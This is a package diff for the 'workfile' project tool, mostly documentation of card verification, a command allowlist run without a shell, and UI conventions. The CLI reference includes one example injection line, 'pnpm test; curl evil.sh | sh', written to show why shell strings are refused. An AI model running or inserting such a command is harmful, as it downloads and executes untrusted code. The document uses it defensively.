| // Reported so an agent discovers a project's axes the way it | ||
| // discovers its areas. Without this the only way to learn that | ||
| // `context:` exists and what it accepts is to read the config file, | ||
| // which the MCP surface deliberately does not expose. | ||
| axes: Object.fromEntries(Object.entries(config.cards.axes || {}).map(([name, values]) => [ | ||
| name, | ||
| [...values] | ||
| ])), | ||
| // Same argument, one step further: a policy an agent cannot read is a | ||
| // policy it can only discover by being refused. An empty `methods` is | ||
| // the honest report of a project with no opinion, and is what every | ||
| // existing workspace reports. | ||
| verification: verificationSchema(config) | ||
| }; | ||
| return { | ||
@@ -57,17 +116,3 @@ schemaVersion: SCHEMA_VERSION, | ||
| }, | ||
| cards: { | ||
| statuses: [...CARD_STATUSES], | ||
| types: [...CARD_TYPES], | ||
| priorities: [...CARD_PRIORITIES], | ||
| efforts: [...CARD_EFFORTS], | ||
| areas: [...config.cards.areas], | ||
| // Reported so an agent discovers a project's axes the way it | ||
| // discovers its areas. Without this the only way to learn that | ||
| // `context:` exists and what it accepts is to read the config file, | ||
| // which the MCP surface deliberately does not expose. | ||
| axes: Object.fromEntries(Object.entries(config.cards.axes || {}).map(([name, values]) => [ | ||
| name, | ||
| [...values] | ||
| ])) | ||
| }, | ||
| cards, | ||
| docs: { | ||
@@ -120,2 +165,23 @@ kinds: [...config.docs.kinds], | ||
| } | ||
| /** | ||
| * A query string that no earlier load of this file can have used. | ||
| * | ||
| * The config is re-imported through a changing URL because ESM caches modules | ||
| * and a workspace has to see the config as it is on disk now. That key was | ||
| * `Date.now()` alone, and a millisecond is long enough to hold two loads: write | ||
| * a config, load it, and the URL matches the load from before the write, so the | ||
| * cache hands back the *previous* module and the workspace reports a config the | ||
| * file no longer holds. Rare in a person's hands and routine in a test, which is | ||
| * where it was found — a suite that writes a config and reloads it immediately | ||
| * saw its own declaration disappear, intermittently, for reasons that had | ||
| * nothing to do with what it was testing. | ||
| * | ||
| * The counter is per process, which is all that is needed: within a process the | ||
| * cache is what we are defeating, and across processes there is no cache. | ||
| */ | ||
| let reloads = 0; | ||
| function nextReloadKey() { | ||
| reloads += 1; | ||
| return `${Date.now()}-${reloads}`; | ||
| } | ||
| export async function loadWorkspace(options = {}) { | ||
@@ -137,3 +203,3 @@ const cwd = resolve(options.cwd || process.cwd()); | ||
| const url = pathToFileURL(configPath); | ||
| url.searchParams.set("project_protocol_reload", String(Date.now())); | ||
| url.searchParams.set("project_protocol_reload", nextReloadKey()); | ||
| const module = await import(url.href); | ||
@@ -140,0 +206,0 @@ raw = module.default || {}; |
@@ -13,8 +13,8 @@ <!doctype html> | ||
| /> | ||
| <script type="module" crossorigin src="/static/index-Dpy209ef.js"></script> | ||
| <script type="module" crossorigin src="/static/index-Db_ww4LG.js"></script> | ||
| <link rel="modulepreload" crossorigin href="/static/rolldown-runtime-CbXtAM7H.js"> | ||
| <link rel="modulepreload" crossorigin href="/static/react-Buq45Vzz.js"> | ||
| <link rel="modulepreload" crossorigin href="/static/ui-primitives-Beqd9I2k.js"> | ||
| <link rel="modulepreload" crossorigin href="/static/theme-CNCrPl--.js"> | ||
| <link rel="stylesheet" crossorigin href="/static/index-DPooA1WI.css"> | ||
| <link rel="modulepreload" crossorigin href="/static/ui-primitives-C8uJIJg4.js"> | ||
| <link rel="modulepreload" crossorigin href="/static/theme-pTuib_xY.js"> | ||
| <link rel="stylesheet" crossorigin href="/static/index-Bb1zRGE2.css"> | ||
| </head> | ||
@@ -21,0 +21,0 @@ <body> |
+312
-14
@@ -54,2 +54,3 @@ # CLI reference | ||
| | `--force` — proceed past the check the command would otherwise fail | `agents sync`, `card claim`, `card patch`, `card release`, `card transition`, `ci sync`, `claude install`, `claude sync`, `init`, `migrate apply` | | ||
| | `--reason TEXT` — why a check was waived; recorded on the card | `card claim`, `card patch`, `card release`, `card transition` | | ||
| | `--read-only` — disable the MCP mutation tools | `mcp config`, `mcp inspect`, `mcp serve`, `mcp stdio` | | ||
@@ -87,5 +88,5 @@ | `--yes` — accept the initializer defaults without prompting | `init` | | ||
| ```bash | ||
| workfile init [--root PATH] [--yes] [--dry-run] [--name NAME] [--language LANG] | ||
| workfile init [--root PATH] [--yes] [--dry-run] [--name NAME] | ||
| workfile version # the installed package version, one line | ||
| workfile schema [--json] # effective runtime schema (areas, vocabularies…) | ||
| workfile schema [--json] # effective runtime schema (areas, vocabularies, verification policy…) | ||
| workfile doctor [--json] [--severity error|warning] [--max-issues N] [--rebuild-cache] [--fix] | ||
@@ -119,2 +120,8 @@ workfile doctor --new # only what appeared since the baseline | ||
| `doctor --fix` repairs the three findings a repair can be derived from: a | ||
| duplicate ID on any record kind, a filename whose slug no longer matches the | ||
| card's title, and protocol trail entries written outside `## Activity`. It never | ||
| invents content, and it never hides what it did not do — a collision it cannot | ||
| heal is printed as `cannot fix:` with the reason, and the run still fails on it. | ||
| That file is committed on purpose. A baseline under the cache would be | ||
@@ -178,2 +185,9 @@ per-clone and missing in CI, which is the one place a "nothing new" verdict has | ||
| Your pattern runs in a worker thread with a two-second deadline, and a pattern | ||
| that exceeds it fails with `SEARCH_REGEX_TIMEOUT`. Those caps bound the input; | ||
| nothing bounds backtracking, and a pattern like `(a+)+$` takes 57 seconds | ||
| against a 32-character body — the thread is the only thing with a stop button | ||
| on it. The ordinary cost is about 50ms of thread startup, paid only by regex | ||
| queries. | ||
| ## Work (cards) | ||
@@ -196,5 +210,8 @@ | ||
| workfile card claim ID [--scope PATH,PATH] [--actor ACTOR] [--force --reason TEXT] | ||
| workfile card release ID [--actor ACTOR] [--status next] | ||
| workfile card transition ID STATUS [--actor ACTOR] | ||
| workfile card archive ID | ||
| workfile card release ID [--actor ACTOR] [--status next] [--force --reason TEXT] | ||
| workfile card transition ID STATUS [--actor ACTOR] [--force --reason TEXT] | ||
| workfile card transition ID done [--method local|ci|manual] [--run URL] [--evidence TEXT] | ||
| workfile card release ID --status done [--method ci --run URL] | ||
| workfile card patch ID --json-input FILE [--method manual --evidence TEXT] | ||
| workfile card archive ID [--actor ACTOR] | ||
| workfile card reopen ID [--status backlog] [--actor ACTOR] | ||
@@ -207,2 +224,3 @@ workfile card reap [--dry-run] [--older-than HOURS] [--json] | ||
| workfile card ac ID --uncheck 2 | ||
| workfile card verify ID [--only gate] [--actor ACTOR] # run the declared commands | ||
| ``` | ||
@@ -218,4 +236,76 @@ | ||
| that are, because `done` means verified where the code actually runs. `--force` gets | ||
| through for the cases the criteria did not anticipate. | ||
| through for the cases the criteria did not anticipate, and takes `--reason TEXT`, | ||
| which the card's trail carries in place of the gate: | ||
| ```text | ||
| - 2026-08-05 11:04Z alice@studio · review → done (forced past 3 unproven criteria: the last two need hardware CI does not have) | ||
| ``` | ||
| The reason is required only when `--force` actually waives something — the gate names | ||
| what it let through, so a `--force` that nothing refused records nothing and asks for | ||
| nothing. Taking another actor's claim is the other waivable gate, and it is written the | ||
| same way. | ||
| Reaching `done` also writes a `verified` block into the card's frontmatter — when, | ||
| how, at which commit, and a digest of the criteria it was proved against. `--method` | ||
| says which tier it was: | ||
| | Method | Means | Needs | | ||
| | --- | --- | --- | | ||
| | `local` | A command ran on your machine. Self-reported, and what you get when you pass no method. | — | | ||
| | `ci` | A run anyone can open. | `--run URL` | | ||
| | `manual` | A person judged something no command expresses. | `--evidence TEXT` and an actor | | ||
| There is no `--method forced`. `forced` is what the record says when `--force` walked | ||
| the gate past something, derived rather than asked for, and asking for it is refused — | ||
| what was waived and why is already on the trail line above, and writing it twice would | ||
| give the record two places to disagree. The three flags are refused, not dropped, on a | ||
| write that does not close the card: `card transition ID review --method ci` is an | ||
| instruction with nowhere to go, and exiting 0 on it is the one failure an agent cannot | ||
| notice. `--evidence` is collapsed onto one line and written under the card's `## Notes`. | ||
| `doctor` reports, without failing, a card verified against criteria text that has since | ||
| changed, and a card whose commit is no longer an ancestor of HEAD. Neither is enforced | ||
| retroactively: they are information about work that is already closed. | ||
| ### Which methods an area accepts | ||
| Which of the three a close may use is the project's to declare, per area, under | ||
| `cards.verification.methods`: | ||
| ```js | ||
| cards: { | ||
| areas: ["api", "web", "docs"], | ||
| verification: { | ||
| methods: { api: ["ci"], docs: ["ci", "manual"], "*": ["ci", "local"] } | ||
| } | ||
| } | ||
| ``` | ||
| `*` answers for every area not named, including the ones somebody adds next month — | ||
| without it a new area escapes the policy in silence. Declare nothing and every method | ||
| is accepted, which is what your project does today. | ||
| Closing a card by a method its area does not accept is refused with | ||
| `CARD_VERIFICATION_METHOD_REFUSED`, and the message names what the area does accept. | ||
| **Passing no method does not exempt you**: a close with no `--method` records `local`, | ||
| so under `{ api: ["ci"] }` a bare `card transition ID done` on an `api` card is refused | ||
| too — a gate you get past by typing less is not a gate. `workfile schema --json` reports | ||
| the policy under `cards.verification`, so an agent can read it instead of discovering it | ||
| by being refused. | ||
| It is the third gate a close meets, and it is waived the same way as the other two: | ||
| `--force` with `--reason TEXT` gets through, the trail line names the area's | ||
| verification policy among what it waived, and the card then records `forced` rather | ||
| than the method that was refused. That is also why a forced close must not carry | ||
| `--method`: the record has one answer for how the card was proved, and on a forced | ||
| close that answer is `forced`. | ||
| `doctor` reports two more findings, neither of them failing. A `done` card whose | ||
| recorded method the policy no longer accepts is `verification-method-unaccepted` — | ||
| tightening a policy must not invalidate work that already shipped. A policy naming an | ||
| area `cards.areas` does not declare is `verification-policy-area-unknown`, reported | ||
| rather than refused at config load: removing an area should not stop the workspace from | ||
| loading, and a config that will not load takes the doctor that would explain it with it. | ||
| `card create --json-input FILE` is the form to reach for when the card has a | ||
@@ -257,13 +347,192 @@ body. It takes the whole record — title, body, parent, source, tags, scope — in | ||
| ### Card-declared commands | ||
| A card may bind an acceptance criterion to a command that proves it, in a | ||
| `verify` block written through `card patch --json-input`: | ||
| ```yaml | ||
| verify: | ||
| - id: gate | ||
| run: [pnpm, test, test/acceptance.test.ts] | ||
| criteria: [sha256:ab12…] | ||
| ``` | ||
| `run` is an **argument vector, not a shell line**, and it is spawned with no | ||
| shell. That is what makes the allowlist below decidable: over a shell string | ||
| `pnpm test` is a prefix of `pnpm test; curl evil.sh | sh` too, and a matcher | ||
| would be predicting what a shell it never runs will do with the rest of the | ||
| line. As an argv there is nothing to predict — `;` and `|` are bytes inside one | ||
| argument, and matching is element-wise string equality. A `run` written as a | ||
| single string is refused with `CARD_VERIFY_RUN_INVALID` rather than split on | ||
| spaces, because splitting would be that same parser wearing a smaller hat. | ||
| `cards.verification.commands` declares which commands a card may name, as argv | ||
| prefixes: | ||
| ```js | ||
| cards: { | ||
| areas: ["api", "infra"], | ||
| verification: { | ||
| commands: [["pnpm", "test"], ["pnpm", "lint"]] | ||
| } | ||
| } | ||
| ``` | ||
| `["pnpm", "test"]` admits `pnpm test` and `pnpm test --filter cards`, and admits | ||
| nothing that differs at any position the prefix names. The matcher normalises nothing — | ||
| no case folding, no trimming, no path resolution, no Unicode normalisation — so | ||
| `PNPM`, `./node_modules/.bin/pnpm` and a homoglyph are each simply not the | ||
| declared command. A declared entry that could never match one is refused when | ||
| the config loads: an empty array, because it is a prefix of everything; | ||
| an empty or control-character-carrying element, because the frontmatter round | ||
| trip would not return it unchanged. | ||
| **The list is empty by default, so a project that declares nothing can run | ||
| nothing.** A card naming an undeclared command is refused with | ||
| `CARD_VERIFY_COMMAND_NOT_ALLOWED`, and the message names | ||
| `cards.verification.commands` when the project has declared none. | ||
| `doctor` runs the same check on read and reports `verify-command-not-allowed` | ||
| as an **error**. That is the half that matters in a repository taking pull | ||
| requests: a card is a Markdown file, so one can arrive as a file in a diff | ||
| without ever calling a mutation, and the write-time refusal never runs. `doctor | ||
| --json` is what the generated CI workflow exists to run, so the error is what | ||
| turns the pull request red. | ||
| Be clear about what the allowlist buys. It bounds which command a card may | ||
| name; it cannot bound what that command does, because every command worth | ||
| allowing dispatches through a file the same pull request can edit — `pnpm test` | ||
| reads `package.json`, `make check` reads the Makefile. It is anti-escalation on | ||
| a branch you trust, and it makes a declared command reviewable in one place. | ||
| Containment for a branch you do not trust is a different control entirely, and | ||
| belongs to the job rather than to the card: no secrets, no write token, and no | ||
| evidence written back from a head you did not review. | ||
| A card that already carries a command the project refuses is refused every | ||
| write until the block goes, so it cannot be quietly closed around. Clear it and | ||
| then move the card: | ||
| ```sh | ||
| printf '{"verify": null}' | workfile card patch T-0042 --json-input - | ||
| workfile card transition T-0042 discarded | ||
| ``` | ||
| ### Running them | ||
| ```bash | ||
| workfile card verify ID [--only ENTRY,ENTRY] [--actor ACTOR] [--json] | ||
| ``` | ||
| Runs each declared entry and reports pass or fail per entry, then checks the | ||
| criteria the passing entries prove. It is the only thing that can: a bound | ||
| criterion is one `card ac --check` refuses, so without this command a card that | ||
| binds its criteria is a card nothing can close. | ||
| Each `run` is spawned as an argument vector with **no shell**, from the | ||
| workspace root, with stdin closed — a command that stops to ask a question would | ||
| otherwise wait for a terminal nobody is watching. Entries run one at a time: | ||
| two declared commands are usually two suites over one working tree, and | ||
| deciding a project's build is safe to run twice at once is not this tool's call | ||
| to make on its behalf. `--only` runs a subset, `--json` prints the whole report, | ||
| and the command exits `1` unless every entry that ran passed. | ||
| **What a run writes, and what it does not.** A criterion's box records what a | ||
| command decided, so only a command that decided something writes one: | ||
| | Outcome | Means | The bound criteria | | ||
| | --- | --- | --- | | ||
| | `passed` | Exit `0`. | Checked. | | ||
| | `failed` | Any other exit status. | Unchecked — a proof that no longer reproduces is not a proof. | | ||
| | `timed-out` | Killed at `cards.verification.timeoutSeconds`. | Untouched. | | ||
| | `errored` | Never started: no such command, not executable. | Untouched. | | ||
| The last two are deliberate and are not a smaller version of `failed`. Killing a | ||
| command at the timeout is us giving up and a machine with no such command has | ||
| decided even less; neither is a fact about the criterion. Unchecking there would | ||
| let a run on the wrong machine erase a proof a right one produced, and the | ||
| criterion is machine-owned, so `card ac --check` could not put it back. Both | ||
| still exit `1`, and both print why. | ||
| An entry that changes a criterion's state leaves a line on the card's trail | ||
| naming it, because a box that moved because a subprocess exited otherwise has no | ||
| author in the record at all: | ||
| ```text | ||
| - 2026-08-06 09:12Z alice@studio · verify gate: pnpm test acceptance passed, checked #1, #3 | ||
| - 2026-08-06 11:40Z alice@studio · verify gate: pnpm test acceptance failed (exit 1), unchecked #1, #3 | ||
| ``` | ||
| A run that changed nothing writes no line, the same rule a repeated | ||
| `card transition` follows. `--actor` names who ran it, defaulting the way every | ||
| other card command's does. | ||
| **There is no `--dry-run`, and it is refused rather than ignored.** The flag | ||
| previews filesystem changes, and a run that spawns every declared command and | ||
| then skips the write-back has already done the part worth previewing. | ||
| `workfile card show ID --json` reports the `verify` block, which is what looking | ||
| first means here. | ||
| The commands run **outside** the card's write lock — they take minutes, and a | ||
| lock held across them would block every note, claim and status move for as long | ||
| as a suite runs. The card is read again after the last command exits and the | ||
| bindings are resolved against *that* reading, so a criterion reworded while the | ||
| tests were running is no longer bound to the entry and the write is refused by | ||
| name rather than applied to whatever line moved into that position. | ||
| How long a command gets is the project's to declare: | ||
| ```js | ||
| cards: { | ||
| verification: { | ||
| commands: [["pnpm", "test"]], | ||
| timeoutSeconds: 600 | ||
| } | ||
| } | ||
| ``` | ||
| Ten minutes by default, between 1 second and 12 hours, and there is no way to | ||
| say "no timeout": a command that never exits would otherwise hold an unattended | ||
| CI job forever. `workfile schema --json` reports the effective value under | ||
| `cards.verification`. | ||
| **On Windows, a `.cmd` shim cannot be started without a shell.** `pnpm`, `npm` | ||
| and everything in `node_modules/.bin` are `.cmd` files there, and Node refuses | ||
| to spawn one unless a shell parses the line — which is the thing the argv model | ||
| exists to avoid. Such an entry reports `errored` and changes nothing, on that | ||
| platform only. Declare something Windows can start directly, such as | ||
| `["node", "node_modules/vitest/vitest.mjs", "run"]`. | ||
| This is a CLI command and has no MCP tool or HTTP route. Executing a card's | ||
| commands is something a person asks for at a terminal, and a tool that let an | ||
| agent trigger it over a long-lived server connection is a wider decision than | ||
| the one this implements. | ||
| Claims carry an actor and optional path scope; the server refuses overlapping | ||
| scopes and releases the claim when a card leaves `doing`. | ||
| Sequential IDs are allocated per clone, so two branches can create the same | ||
| card ID and git merges both files without a conflict. `card renumber | ||
| --duplicates` (or `doctor --fix`) heals that deterministically: the older card | ||
| keeps the ID, the younger moves to the next free one. When the moved ID was | ||
| unique, every reference inside `.project/` is rewritten; after a collision the | ||
| references are ambiguous by construction, so they are listed under `review` | ||
| instead of being silently repointed. | ||
| Sequential IDs are allocated per clone, so two branches can mint the same ID and | ||
| git merges both files without a conflict. Cards are the least exposed kind: a | ||
| card is created once, by whoever picks up the work, while a changelog fragment | ||
| is written by *every* branch that changes anything user-visible. `doctor --fix` | ||
| heals all of them — cards, changelog fragments, managed documents and memory | ||
| records — and picks the same survivor on every clone: the oldest `created` keeps | ||
| the ID and the rest move to the next free one, ties broken by path. A released | ||
| fragment is the exception and always keeps it, because a fragment cut into a | ||
| version is frozen and the release record lists it by ID. `card renumber | ||
| --duplicates` stays card-scoped and reports every other collision under | ||
| `skipped`. | ||
| When the moved ID was unique, every reference inside `.project/` is rewritten; | ||
| after a collision the references are ambiguous by construction, so they are | ||
| listed under `review` instead of being silently repointed. Only the ID half of | ||
| the filename moves — the title slug survives — and `doctor --fix` brings a | ||
| card's slug back in step afterwards, which it does not do for the other kinds. | ||
| A collision is refused rather than repaired when moving a record would not be | ||
| the correction — two *released* fragments carrying one ID (describe it in a new | ||
| fragment instead), a release record, an indexed file outside `docs.managedPath` | ||
| declaring a managed ID in its frontmatter, or one ID spanning two record kinds. | ||
| For each of those `doctor --fix` prints a `cannot fix:` line naming the reason | ||
| and the run still exits `1`, because the error is still there. | ||
| Filter flags take comma-separated values (`--type bug,task`) and combine with | ||
@@ -373,2 +642,9 @@ AND. `--json` omits the Markdown body and reports `bodyBytes` instead; ask for | ||
| Accepted decisions and conventions skip the relevance filter, because a rule | ||
| binds work that does not mention it. Past `--limit` they are not cut: they come | ||
| back under **Also in force** as one titled line each, so a workspace with fifty | ||
| accepted ADRs still hands an agent every ID it must not contradict at a cost of | ||
| a line rather than a summary. Everything else that did not fit is reported as a | ||
| count under **Left out** and reachable through `search`. | ||
| `whoami` prints the actor every surface attributes mutations to, and which rung | ||
@@ -392,4 +668,26 @@ produced it. Resolution order: an explicit `--actor`, then `$WORKFILE_ACTOR`, then | ||
| reports which of them are stale and exits `1` when any is, which is what makes | ||
| it usable in CI. | ||
| it usable in CI. Each stale file is reported with the comparison that failed — | ||
| `style`, `body`, `digest` or `trailing-newline` — because one of them is | ||
| otherwise invisible: the digest is taken over trimmed bytes, so a file that | ||
| lost its final newline agrees with its own digest and is stale over a byte no | ||
| hash covers. | ||
| `.mcp.json` and `.claude/settings.json` carry no marker to hold a digest, | ||
| because they are merged into files the repository also owns. They are compared | ||
| against the values an install would write, key by key, using the ledger at | ||
| `.project/generated/claude-code.json` that records which of them are this | ||
| tool's — so a hand-edited server registration is reported as | ||
| `mcpServers.workfile`, and a server the repository added beside it is neither | ||
| compared nor touched. | ||
| The last line of the report is not a file but the command the hooks name, | ||
| resolved. A workspace with the package installed gets | ||
| `node node_modules/@illodev/workfile/…/hooks.mjs`; one without gets the | ||
| `workfile-hooks` bin, found on `PATH`. Either can be `unreachable`, which is a | ||
| different repair from a stale file: the settings can say exactly what an | ||
| install would write and still name a hook that is not there, and a hook that | ||
| cannot run exits `0` in silence. It is reported as a warning rather than an | ||
| error, because whether a bin is on `PATH` is true on one machine and false on | ||
| another. | ||
| `workfile claude` with no subcommand runs `check`, because reporting is the | ||
@@ -396,0 +694,0 @@ safe default for a word that otherwise writes files. |
@@ -30,3 +30,3 @@ # Getting started | ||
| ```bash | ||
| workfile init --yes --language es --agents agents-md,claude --ci github | ||
| workfile init --yes --agents agents-md,claude --ci github | ||
| workfile init --dry-run --json | ||
@@ -33,0 +33,0 @@ ``` |
+18
-0
@@ -173,2 +173,20 @@ # HTTP API | ||
| `PATCH /api/v2/cards/:id`, `POST /api/v2/cards/:id/transition` and | ||
| `POST /api/v2/cards/bulk` accept `method`, `run` and `evidence` beside `actor`, | ||
| `force` and `reason`. They describe the write rather than the card, so they are | ||
| lifted out of the flat body the same way `force` is, and a client that sends | ||
| `{"status": "done", "method": "ci", "run": "https://…"}` gets a card whose | ||
| `verified` block says so. Sending any of them on a write that does not move the | ||
| card into `done` is `400 CARD_VERIFICATION_NOT_APPLICABLE` rather than a silent | ||
| drop; `method: "forced"` is `400 CARD_VERIFICATION_METHOD_CONFLICT`, since it is | ||
| derived from what `force` waived. The legacy `PATCH /api/tasks/:id` accepts the | ||
| same three. | ||
| A method the card's area does not accept is `409 CARD_VERIFICATION_METHOD_REFUSED`, | ||
| and the body's details carry the accepted list. Omitting `method` is not a way | ||
| around it — a close with none records `local`, which is judged like any other. | ||
| `GET /api/v2/schema` reports the policy under `cards.verification.methods`, so a | ||
| client can read it before it writes. `force` with a `reason` waives it, and the | ||
| card then records `forced`. | ||
| ## Docs | ||
@@ -175,0 +193,0 @@ |
+34
-0
@@ -68,2 +68,15 @@ # MCP server | ||
| That is the form for a workspace with no local install. Where the package is a | ||
| dependency, `install` registers the copy in `node_modules` instead — the same | ||
| one the hooks already run — so the server and the hooks are the same build. The | ||
| two used to differ: `.mcp.json` fetched whatever npm published today while | ||
| `.claude/settings.json` ran whatever the repository had, and a workspace pinned | ||
| to 0.5.2 spoke to a 0.5.4 server. The two halves disagreeing about what the | ||
| protocol is produces symptoms that look like anything else. Re-running | ||
| `install` follows the dependency in either direction. | ||
| `upgrade` reports it when the binary doing the upgrading is not the one the | ||
| workspace will run — the shape `pnpm i -g @illodev/workfile` produces against a | ||
| repository that pins an older release. | ||
| It registers the package and the `mcp` subcommand, not the `workfile-mcp` bin. | ||
@@ -207,2 +220,23 @@ That bin exists and parses its own flags — `workfile mcp config` emits it, for | ||
| `method` is the second. `project_card_transition`, `project_card_patch` and | ||
| `project_card_release` each take `method`, `run` and `evidence`, which say how a | ||
| close was proved — but the enum offers `local`, `ci` and `manual` only. `forced` | ||
| is derived from what the acceptance gate waived and is refused as an input, and | ||
| in any case no MCP tool can force a transition today: `project_card_transition` | ||
| declares neither `force` nor `reason` and reads neither, so a close through this | ||
| surface is always a proven one. Passing any of the three on a call that does not | ||
| move the card into `done` is refused rather than ignored. | ||
| That last point has a consequence worth stating, now that a project can declare | ||
| which methods an area accepts. `CARD_VERIFICATION_METHOD_REFUSED` is **final on | ||
| this surface**: the waiver every other surface offers is `force` with a reason, | ||
| and no MCP tool carries either. An agent that meets it has to prove the card the | ||
| way the project asks — read `project_workspace` first, under | ||
| `cards.verification.methods`, rather than discovering the rule by being refused. | ||
| Omitting `method` is not the way around it: a close with none records `local`. | ||
| `project_doctor` takes `checkGit` beside `checkPaths`. It gates the one check | ||
| that leaves the process — whether a done card's commit is still an ancestor of | ||
| HEAD — and nothing is spawned unless some card carries a commit. | ||
| ## Resources and prompts | ||
@@ -209,0 +243,0 @@ |
+95
-6
@@ -67,4 +67,5 @@ # The interface | ||
| - `ui/src/components/ui/` is the registry — generated by `shadcn add`, | ||
| replaced wholesale on regeneration, never hand-edited. | ||
| - `ui/src/components/ui/` is the registry — generated by `shadcn add` and | ||
| replaced wholesale on regeneration. Hand-edited only where a comment in the | ||
| file says why; the control scale below is the one standing amendment. | ||
| - `ui/src/components/domain/` holds the virtual table, the kanban and the | ||
@@ -74,5 +75,5 @@ Gantt: Workfile's own decisions about how work is displayed, composed | ||
| - Everything else in `ui/src/components/` is application glue — the | ||
| inspector, the editors, the palette. `RecordDrawer` is the overlay a | ||
| record is read in, and both the card inspector and the memory record go | ||
| through it: one drawer, one set of dismissal rules. | ||
| inspector, the editors, the palette, the settings dialog. `RecordDrawer` | ||
| is the overlay a record is read in, and both the card inspector and the | ||
| memory record go through it: one drawer, one set of dismissal rules. | ||
| - `ui/src/lib/utils.ts` carries `cn()`; `ui/src/hooks/` the registry hooks. | ||
@@ -104,3 +105,30 @@ | ||
| read `var(--row-h)`. The comfortable/compact switch is the `data-density` | ||
| attribute on the root element. | ||
| attribute on the root element, flipped from the settings dialog alongside | ||
| the theme. Both are browser preferences the shell owns and persists in | ||
| `localStorage`; `components/Settings.tsx` renders them and stores nothing, | ||
| because a theme that needed a dialog mounted to exist would be worse than | ||
| the two header buttons it replaced. | ||
| - **Controls share one height scale.** | ||
| `ui/src/components/ui/control-size.ts` holds four rungs, 4px apart, and | ||
| `Button`, `Input`, `InputGroup` and `NativeSelect` compose their variants | ||
| from it — so `size="sm"` is 28px whichever of them you wrote it on, and a | ||
| toolbar that mixes them cannot sit crooked. `default` is 32px, the second | ||
| rung from the foot: this is a record tool, and before the scale existed | ||
| twenty-one hand-written heights had already patched the registry's 36px | ||
| down, which is exactly how the Memory field ended up one rung taller than | ||
| the chips beside it. Filter strips ride `sm`; the shell header and the | ||
| dialogs ride the default; Triage's decision row is the one deliberate | ||
| `lg`, because it is the only place you sit and hit the same seven buttons | ||
| card after card. A height class written onto a call site is the bug — | ||
| `test/control-size.test.ts` fails on any rung height applied to a control, | ||
| while arbitrary values are left alone, because `h-[22px]` on the Explorer's | ||
| row select is how a view says "deliberately off the scale" rather than "I | ||
| could not reach it". | ||
| This is the one place the registry is deliberately not kept as generated; | ||
| all four files carry a comment saying so, and the amendment has to be | ||
| re-applied if `shadcn add` is ever run over them. Sizing is precisely the | ||
| change you want to take every component at once — the mirror image of the | ||
| chip's pointer rule below, which is kept *out* of `components/ui/` for the | ||
| same reason read the other way. | ||
| - **Colours are tokens.** Status, priority and severity ride the semantic | ||
@@ -110,2 +138,63 @@ namespaces via `theme.ts`; everything else is a shadcn token utility. A | ||
| the sidebar strokes `currentColor` for exactly that reason. | ||
| - **Free text is one control that says what it matches.** Every filter bar | ||
| renders `ui/src/components/FilterSearch.tsx`, and its two placeholders are | ||
| the only place the match rule is written down. The record collections | ||
| search on the server over id, title, metadata and body — the body by whole | ||
| token, the title by substring — while the card views filter in the browser | ||
| over identity and metadata, reaching prose only through `body:`. Two | ||
| corpora, so two sentences, neither promising what the other does. The term | ||
| rides the address bar like every other filter (`?q=` for cards, `?find=` | ||
| for docs, history and memory). `test/filter-search.test.ts` fails if a view | ||
| grows a box of its own or a wording of its own. | ||
| - **The filter bar is one container, and it decides what may scroll away.** | ||
| `ui/src/components/FilterBar.tsx` owns the whole bar in every view that has | ||
| one — the shell, Docs, History, Memory, Workflow and the Gantt toolbar — and | ||
| `FilterChip` and `FilterToggle` are declared there once rather than in each | ||
| of them. Controls go in the strip, which keeps to a single line and scrolls | ||
| sideways; the free-text field (`before`) and anything you have to reach in a | ||
| hurry (`after`, the graph's Fit) stay outside it, because everything in the | ||
| strip may scroll out of sight. That split is what T-0193 and T-0195 | ||
| disagreed about: `FilterSearch` is a control the bar positions, not a second | ||
| container. The bleed classes cancel the bar's own gutter so the strip runs | ||
| to the screen edge, which is why they are a written-out pair per gutter | ||
| rather than a computed one — Tailwind reads class names as literals. | ||
| - **A chip in a strip opens on the click, not on the press.** Radix opens | ||
| menus from a `pointerdown` handler, so on a phone a drag that started on a | ||
| chip opened the menu instead of scrolling the strip. `FilterChip` cancels | ||
| that press for touch and pen — the primitive composes its handler after the | ||
| one it is passed and skips a default-prevented event — and opens from the | ||
| `click`, which the browser withholds once the finger has scrolled. A mouse | ||
| keeps the primitive's behaviour, where press-drag-release onto an item is a | ||
| real way to use a menu. `touch-action: pan-x` on the scroller was the other | ||
| candidate and it is neither necessary nor sufficient: measured in Chromium | ||
| at 390 points with touch emulation, on its own the menu still opened and the | ||
| strip still did not move. The rule lives in application code, never in | ||
| `components/ui/` — that file is regenerated, and the change would take every | ||
| menu in the application with it. `test/filter-bar.test.ts` pins the | ||
| mechanism; only a browser can prove the behaviour. | ||
| - **The footer's claim area is one control.** The ledger strip and the | ||
| compact badge beside the doctor chip are two triggers for the same popover, | ||
| because the strip is `lg:` only and a narrower window would otherwise have | ||
| no way in. What the popover says about staleness is `claim.state`, computed | ||
| on the server from `cards.claimLeaseHours` — the interface never carries a | ||
| second copy of that threshold, and `RuntimeSchema` deliberately does not | ||
| publish the number. Its scope overlaps come from `activity.conflicts` | ||
| (claimed cards, different actors, shared paths), not from `main.tsx`'s | ||
| `scopeConflicts`, which pairs in-progress cards whether or not anybody | ||
| claimed them and stays on its own work-view alert. Rows are ordered worst | ||
| first in the ladder the Overview's verdict sentence already uses, so the two | ||
| surfaces cannot disagree about which claim matters; | ||
| `test/claim-ledger.test.ts` pins that order. | ||
| - **A collapsed rail names itself; an expanded one stays quiet.** | ||
| `SidebarMenuButton` takes a `tooltip` prop for this and `main.tsx` does not | ||
| use it. The prop renders the tooltip in both states and only marks it | ||
| `hidden` while the rail is expanded, and hidden is not unmounted: Radix | ||
| still opens it on hover, and an open tooltip is a dismissable layer that | ||
| answers Escape in the capture phase — so a hovered rail would take the key | ||
| off the shell for no reason the reader can see. `NavTooltip` mounts the | ||
| content only while the labels are hidden, and keeps the `Tooltip` around | ||
| the button in both states, because a wrapper that came and went would | ||
| change the element type at that position and have React rebuild the button | ||
| underneath, dropping keyboard focus on every toggle. | ||
| `test/shell.test.ts` holds both halves. | ||
| - **Escape belongs to the topmost overlay.** The shell's global Escape | ||
@@ -112,0 +201,0 @@ handler is the floor under the Radix layers and skips a key one of them |
+3
-2
| { | ||
| "name": "@illodev/workfile", | ||
| "version": "0.6.0", | ||
| "version": "0.7.0", | ||
| "type": "module", | ||
@@ -19,3 +19,4 @@ "mcpName": "io.github.illodev/workfile", | ||
| "wf": "dist/bin/workfile.js", | ||
| "workfile-mcp": "dist/bin/workfile-mcp.js" | ||
| "workfile-mcp": "dist/bin/workfile-mcp.js", | ||
| "workfile-hooks": "dist/src/runtime/claude/hooks.mjs" | ||
| }, | ||
